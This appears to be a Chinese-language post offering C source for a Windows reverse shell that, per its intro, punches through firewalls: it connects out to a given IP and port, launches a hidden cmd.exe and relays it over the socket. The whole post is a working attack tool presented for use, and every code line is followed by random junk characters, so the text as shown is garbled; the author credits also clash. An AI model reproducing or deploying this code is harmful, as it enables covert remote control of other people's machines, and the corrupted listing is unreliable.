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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #8M?y*<I  
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/* ============================== $ c-O+~  
Rebound port in Windows NT z/"*-+j  
By wind,2006/7 WPsfl8@D  
===============================*/ Bk3\NPa  
#include n= 4  
#include FS=yc.Q_  
xi{ r-D8Z  
#pragma comment(lib,"wsock32.lib") `B"sy8}x  
2DPv7\fW  
void OutputShell(); RHBQgD$  
SOCKET sClient; &-qQF`7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m W>Iib|  
i,^3aZwJ'  
void main(int argc,char **argv) 6\I^]\YO  
{ $adZ|Q\  
WSADATA stWsaData; B(1-u!pz  
int nRet; O6/ vFEB  
SOCKADDR_IN stSaiClient,stSaiServer; O!nS3%De  
`XH0S`B  
if(argc != 3) Z" ;q w  
{ G3:!]}  
printf("Useage:\n\rRebound DestIP DestPort\n"); OFtf)cGE  
return;  '4{=x]K  
} U!-Nx9  
E\DA3lq  
WSAStartup(MAKEWORD(2,2),&stWsaData); :0B 7lDw  
)aGSZ1`/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wHs1ge(  
O=+$X Pa|  
stSaiClient.sin_family = AF_INET; L$3lsu!4n  
stSaiClient.sin_port = htons(0); R 39_!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XfE9QA[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fWq*Op.]c  
{ V:L%GWU  
printf("Bind Socket Failed!\n"); DFWO5Y_  
return; h_#=f(.'j  
} b9X*2pnWJ  
aR6F%7gvz  
stSaiServer.sin_family = AF_INET; ^D+^~>f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B%uY/Mwz$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7Q&-ObW  
9\hI:rI  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w -o#=R_  
{ 'o}[9ZBjn  
printf("Connect Error!"); {*B0lr`  
return; C^L xuUW  
} g|]HS4y  
OutputShell(); \Aro Sy9  
} <skqq+  
;x\oY6:  
void OutputShell() :Q"|%#P  
{ 2H4vK]]Nl  
char szBuff[1024]; l~;>KjZg  
SECURITY_ATTRIBUTES stSecurityAttributes; \t=0rFV)t  
OSVERSIONINFO stOsversionInfo; Godrz*"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =W3 K6w  
STARTUPINFO stStartupInfo; rWL;pM<  
char *szShell; MBg[hu%  
PROCESS_INFORMATION stProcessInformation; lvWwr!w  
unsigned long lBytesRead; ?< b{  
J?3/L&seA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )pHlWi|h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FiiDmhu  
stSecurityAttributes.lpSecurityDescriptor = 0; GKo&?Tj)  
stSecurityAttributes.bInheritHandle = TRUE; o:Kw<z,$H  
-&Xv,:'?  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *p $0(bz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /_l\7MeI  
BJUj#s0$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $!>.h*np  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P!|Z%H  
stStartupInfo.wShowWindow = SW_HIDE; PX|@D_%Y=  
stStartupInfo.hStdInput = hReadPipe; &$/ #"lW,V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d)vP9vXy  
oV:oc,  
GetVersionEx(&stOsversionInfo); D;C';O  
XJe=+_K9  
switch(stOsversionInfo.dwPlatformId) ffmtTJFC5  
{  eo9/  
case 1: ~I5hV}ZT  
szShell = "command.com"; ~)ys,Q  
break; m@Yc&M~  
default: &kIeW;X  
szShell = "cmd.exe"; VGQ~~U7}@  
break; @Iz]:@\cJ  
} uTR^K=Ve  
QnVr)4"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j-ej7  
acl<dY6  
send(sClient,szMsg,77,0); DD$> 3`  
while(1) W\kli';jyC  
{ G@H!D[wd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "9s_[e  
if(lBytesRead) V_SH90@)+  
{ z/{X{+Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h) Wp  
send(sClient,szBuff,lBytesRead,0); =Hd yra  
} n6% `  
else uAPVR  
{ :82h GU  
lBytesRead=recv(sClient,szBuff,1024,0); #; ?3k uq(  
if(lBytesRead<=0) break; xrkl)7;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B}d&tH2^s  
} }'x;J   
} GkJcd;  
Zl5'%b$&  
return; @zg}x0]  
}
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